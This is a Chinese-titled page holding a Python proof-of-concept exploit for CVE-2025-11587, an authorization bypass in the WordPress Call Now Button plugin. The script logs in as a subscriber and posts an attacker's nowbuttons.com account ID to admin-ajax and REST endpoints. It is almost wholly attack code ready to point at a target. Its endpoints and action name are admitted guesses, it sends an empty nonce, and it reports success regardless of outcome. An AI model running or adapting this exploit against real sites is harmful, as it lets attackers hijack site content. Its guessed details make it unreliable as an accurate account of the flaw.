CVE-2025-11587 WordPress Call Now Button插件权限绕过漏洞

import requests import sys from urllib.parse import urljoin # CVE-2025-11587 PoC - WordPress Call Now Button Plugin Authorization Bypass # Target: Call Now Button plugin <= 1.5.3 # Authenticated attackers with Subscriber-level access can link plugin to attacker-controlled nowbuttons.com account def exploit_cve_2025_11587(target_url, username, password, attacker_nowbuttons_id): """ Exploit function for CVE-2025-11587 Args: target_url: Target WordPress site URL username: WordPress subscriber account username password: WordPress account password attacker_nowbuttons_id: Attacker's nowbuttons.com account ID Returns: bool: True if exploitation successful, False otherwise """ session = requests.Session() # Step 1: Login to WordPress with subscriber credentials login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f'[*] Logging in as subscriber: {username}') response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print('[-] Login failed') return False print('[+] Login successful') # Step 2: Trigger plugin activation with attacker-controlled nowbuttons.com account # The vulnerable endpoint is typically in admin-ajax.php or a REST API endpoint activate_url = urljoin(target_url, '/wp-admin/admin-ajax.php') # Try the OTT controller activation endpoint activate_data = { 'action': 'ott_activate', # Or the actual AJAX action name 'nowbuttons_id': attacker_nowbuttons_id, '_wpnonce': '' # May need to fetch a valid nonce } print(f'[*] Sending activation request with attacker nowbuttons ID: {attacker_nowbuttons_id}') # Alternative: Direct REST API call rest_url = urljoin(target_url, '/wp-json/call-now-button/v1/activate') rest_data = { 'nowbuttons_id': attacker_nowbuttons_id } # Try both methods for endpoint, data in [(activate_url, activate_data), (rest_url, rest_data)]: try: response = session.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f'[+] Request sent to {endpoint}') print(f'[*] Response: {response.text[:200]}') except Exception as e: print(f'[-] Error with {endpoint}: {e}') print('[*] Exploitation attempt completed') print('[*] If successful, attacker can now manage button content via nowbuttons.com') return True if __name__ == '__main__': if len(sys.argv) < 5: print('Usage: python cve_2025_11587.py <target_url> <username> <password> <attacker_nowbuttons_id>') print('Example: python cve_2025_11587.py http://victim.com subscriber password 12345') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] nowbuttons_id = sys.argv[4] exploit_cve_2025_11587(target, user, pwd, nowbuttons_id)